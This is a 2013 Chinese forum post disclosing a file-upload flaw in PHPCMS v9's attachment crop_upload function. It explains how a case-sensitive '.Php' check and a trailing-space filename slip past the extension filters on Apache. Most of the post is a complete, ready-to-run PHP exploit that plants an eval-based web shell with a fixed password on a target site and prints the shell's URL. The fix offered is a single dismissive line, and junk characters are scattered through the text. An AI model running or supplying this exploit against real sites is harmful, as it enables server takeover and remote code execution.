找回密码
 立即注册
查看: 2926|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行; k: M; S: t7 l/ G8 N% U
5 J7 H# x8 |' G9 O7 [; N. t$ n( R
简要描述:
4 Q- \; ^- E% k) D8 h- {6 J2 L" F9 h$ U: X+ ~$ W* }: `
phpcms v9 getshell (apache)4 D$ P. \9 U4 r* x& c
详细说明:0 S9 d- W' E! u# F, `

1 z$ N& E& g6 |! e& I漏洞文件:phpcms\modules\attachment\attachments.php  S; i+ G" o: }4 p, j9 q
& `1 e( P% H. z4 N- S- _
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } 4 y6 v4 u  p; w" D, x
后缀检测:phpcms\modules\attachment\functions\global.func.php
; |' ?7 V+ O# `2 e+ ?8 }1 r* I
* R9 H" x0 X# Q/ a. Q0 s4 f% n
$ d' [6 V- c2 R$ y1 F$ G& H- |$ R, ]& S
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
( F# H& k" \$ l; C& B! A; @) U
3 {3 a$ b/ o/ R1 m: p4 S% s关键函数:
" {6 {8 U9 r8 O# S* p! C1 C& G; v6 H; o) L9 Y% y/ a3 ]3 W9 Q. N/ O
7 O  z6 g! B- I6 h, v% D

1 a: m2 r- L% W8 U2 c. T: l& d; w1 j& Nfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  3 m% e6 O, M3 _3 i8 u& y2 ]
) E. @$ D$ \0 v
  Fileext函数是对文件后缀名的提取。
, z" C( R4 w8 s7 O" s根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
8 V# f. H2 M1 h# g经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
! l' ~6 J- u  Y9 O) }$ O# G我们回到public function crop_upload() 函数中6 U/ q- M7 a9 J' K9 t
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
" Y/ r& y/ C/ G$ {1 j) y: X( ^! X在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数) ~5 E3 @* M2 o% Q$ Z4 \
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
! s2 a5 U6 v5 D3 S  K9 |4 U# ?* \3 |经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
0 R& J* X. u/ D! ~9 O) R% G最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。- {% A# ?) P( B* Y1 F; W
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。! F0 R/ Q7 C. i+ Z
漏洞证明:
, q+ ?; r# S6 }4 x% n6 Q& K& E2 o  [
* _, H) O% O: J7 p  Kexp:
- r9 s2 b+ J; M- c) C+ o" n! R$ V+ O) M  b- V: X% T; d
<?php3 B* w) d) F; `
error_reporting(E_ERROR);
6 ?; ]( Q+ D; F# G. t2 Sset_time_limit(0);
) E3 `" d8 E. l% m% s" B' d) t$pass="ln";
. Y8 V% q5 Y  Z/ a$ V& k7 ~1 J" ^5 jprint_r('
- T2 e; \( m& w, \+---------------------------------------------------------------------------+$ d# c! K1 ~# T" o3 Z# W
PHPCms V9 GETSHELL 0DAY
& O3 G. @7 b. r, [. N  icode by L.N.# z1 S* A2 r8 P9 W% ?0 v. d" p. |

( O2 j1 m9 e# m' ]2 F, _3 S* o5 Iapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
# O% `8 d" {- j- q" A+---------------------------------------------------------------------------+
+ g# `8 D. d% I  l! a& e');8 K9 e+ X+ F' H, f2 f
if ($argc < 2) {* E. _) K, ], P6 Q- T; ~
print_r('1 s/ W0 {; @- }7 I
+---------------------------------------------------------------------------+
7 a/ ~3 ^0 D, @% |+ CUsage: php '.$argv[0].' url path
4 m% k3 W, v* F# e" {
; q6 s  l2 D* n- V; oExample:
0 ^2 o/ H' Z5 ~# C9 N/ w* H# B1.php '.$argv[0].' lanu.sinaapp.com
) W3 t, o& \" S0 D( K2.php '.$argv[0].' lanu.sinaapp.com /phpcms2 a7 h9 y' x1 q7 U8 u
+---------------------------------------------------------------------------+
2 s5 g0 j2 k& X. r5 r2 j');
  i- s4 P8 i( |) ]4 N0 Dexit;
( L+ {5 j8 g1 m9 G  \}- k! M, K* k; o* O9 K

. l! g; }7 w0 {8 i) q( m$ |$url = $argv[1];7 E! E6 Q% X0 K: \; D% F
$path = $argv[2];
+ F6 y  v1 @* W! \% d/ z# a$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';4 l6 a. r+ l+ u! \9 |0 [0 t
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';  J6 k: L8 }4 ^) U9 ~
if($ret=Create_dir($url,$path))
7 q9 j/ e5 y/ U4 e" p{0 D- y6 w; G1 P( b- V4 c
//echo $ret;
; y2 D, d- g7 B0 B1 [2 \$pattern = "|Server:[^,]+?|U";: X2 D* x& H* A% e* K, _: r
preg_match_all($pattern, $ret, $matches);
0 O8 C, t/ J+ S+ o% {; u( U. f8 ]if($matches[0][0])
) M# j) {7 G* n2 v4 x0 o' B{
& y* C: ~; |. R# I1 A1 f, Nif(strpos($matches[0][0],'Apache') == false)
4 W$ F& E2 z  V- m{
% n4 N! ~3 q: [4 ~" }( kecho "\n亲!此网站不是apache的网站。\n";exit;
$ d. _$ Y4 M! k* y2 Z& b" O* M" x}, a7 I! u6 K8 o5 u) w' h
}' Z* F- ]5 z) Z- h) R) T
$ret = GetShell($url,$phpshell,$path,$file);
7 h$ u7 T4 W# Z% ]  `/ E3 K$pattern = "|http:\/\/[^,]+?\.,?|U";, Y- _; c1 N3 L4 I: Y' o% ~7 z
preg_match_all($pattern, $ret, $matches);
0 C8 `' `0 C1 q1 A5 [- P7 mif($matches[0][0])1 d$ n* _5 r7 o# e$ d
{
8 R1 ?3 G( y! M8 K! {% wecho "\n".'密码为: '.$pass."\n";
/ I/ o" m0 K% x! p5 Z+ _echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
  p3 F$ A) L) }7 q}
: O% g9 n3 Y$ Felse
4 L/ v3 H1 K/ l5 U) b& J% y{+ ~% T4 o. H! w$ ^% ~8 ~. u7 K
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
+ {% J) K7 Y" s+ y; kpreg_match_all($pattern, $ret, $matches);5 a# k$ _+ B( J5 x2 s
if($matches[0][0])
: N$ U) C! C5 F{
- k% G- m) {* Z9 J6 Hecho "\n".'密码为: '.$pass."\n";% q5 O0 a  u4 o8 D$ }8 b
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;- O$ x" h3 {9 J3 p; ]+ \9 e& F
}
5 Y/ l6 A" f  [% delse
. X) s5 M2 e0 ?$ D{! U$ v3 Q! W0 E8 ]+ h: i: B! E6 D8 N
echo "\r\n没得到!\n";exit;
# g( I2 H1 ~7 s" _# `4 Q2 R( L0 f) z}" k4 J7 ^+ O8 q' ?  u
}1 I9 n  `2 G! c9 s
}
' y( L: T1 N7 s" ^7 y. h8 p! G
# P- [. m' ~$ J) c/ a5 U# n( ~function GetShell($url,$shell,$path,$js)# n; h' T7 |# _  @9 j
{7 @: x! ^, u1 z0 h
$content =$shell;
! Y  a! \; r! q2 ^/ u  B$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";: B( W. \8 V4 }3 `
$data .= "Host: ".$url."\r\n";, E% w! p; W8 E  L* M
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";2 H1 \5 U6 W; |; C. @$ Y
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";. T# i" i6 S9 ^( }
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
5 T9 \  ]8 m! v8 o- y$data .= "Connection: close\r\n";
& c5 ^5 O' n) v3 I$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
7 o1 b, F/ v# f! w$data .= $content."\r\n";7 F9 l( l/ }2 J+ s) s
$ock=fsockopen($url,80);7 `# K* U- K& ~6 ~1 K
if (!$ock)8 s4 @0 V3 U; A
{
6 u, e2 U, w* T6 I) g* Cecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
  I, z5 s9 E: s! w& y0 |}
5 W! B7 A1 m: L8 celse
9 v+ G. p; {( R& ^. [{
2 |* B; ]1 b& x% g* W4 qfwrite($ock,$data);
. ?3 X8 T. ]' E9 v. C$resp = '';8 [; i) K& f2 S
while (!feof($ock))
6 y) e8 F9 [$ o, q{
# n% K$ R) B* K; X$resp.=fread($ock, 1024);! h4 _# X! e5 v
}$ c+ W$ s5 Q) n" h" B: ]
return $resp;% g/ f2 C, B' v. T5 m7 P
}
) Q0 C/ N: Q9 L}
7 S5 z  J; m6 ~9 Y1 y9 }# |
' g1 }% _7 ~8 Q: j7 Jfunction Create_dir($url,$path='')( J% n9 x' w0 V4 j2 B1 Y, G: Z1 u
{
2 E% h$ m3 J! i; Q+ }$content ='I love you';' y- M5 E( ^, n/ b) }  `9 R# _$ }( @( }
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
. V. s: b7 R! f. T$data .= "Host: ".$url."\r\n";
; n# L2 S3 E* ]  S$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";: R( a6 d) Y  `: j9 v% N" ^
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
; `+ T# U0 ]% Q7 ]8 D+ L7 N$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";) B8 I: t' D' y, I
$data .= "Connection: close\r\n";
4 p& J, X+ |3 X* R2 U2 m/ v$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
  B7 \0 B: R2 n# i) z$data .= $content."\r\n";9 N7 O3 R/ X1 U3 ^% U
$ock=fsockopen($url,80);, D) J3 `9 L6 n# y+ p6 e! ?
if (!$ock)0 }  y2 y4 q7 p# {* G) L) Y
{% d7 g) {  P- L/ c8 n2 ~2 @2 L
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
* }7 F! W/ f+ k. g3 L}4 F' ~0 ~4 R, K, V
fwrite($ock,$data);  V$ z9 ~4 i" P9 Z
$resp = '';
' z8 b# w. Q. d! Gwhile (!feof($ock))
3 t4 h4 Y5 ?) i' h/ J% L{- N3 Y% r2 B7 M1 U  D0 U
$resp.=fread($ock, 1024);
2 u: S2 n+ ]: L8 ~$ I5 e}
- W% h2 w9 r- Z' W* P; W( F% mreturn $resp;
) v$ m3 k- {" l  d" G8 m}
, R( ?" y) T# P5 Z% ?) A' f?>
8 o7 k0 [* T* u5 S; B * A- e1 e4 @( B3 e7 M% q: V3 n4 j
修复方案:7 W7 z$ @, Z" `  r, l; y& G5 {- L

4 {# V1 F: x/ x# X+ a( @5 @过滤过滤再过滤5 U0 W- Q0 |' v3 ]1 ^& U7 w

- e1 p: v; {  \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表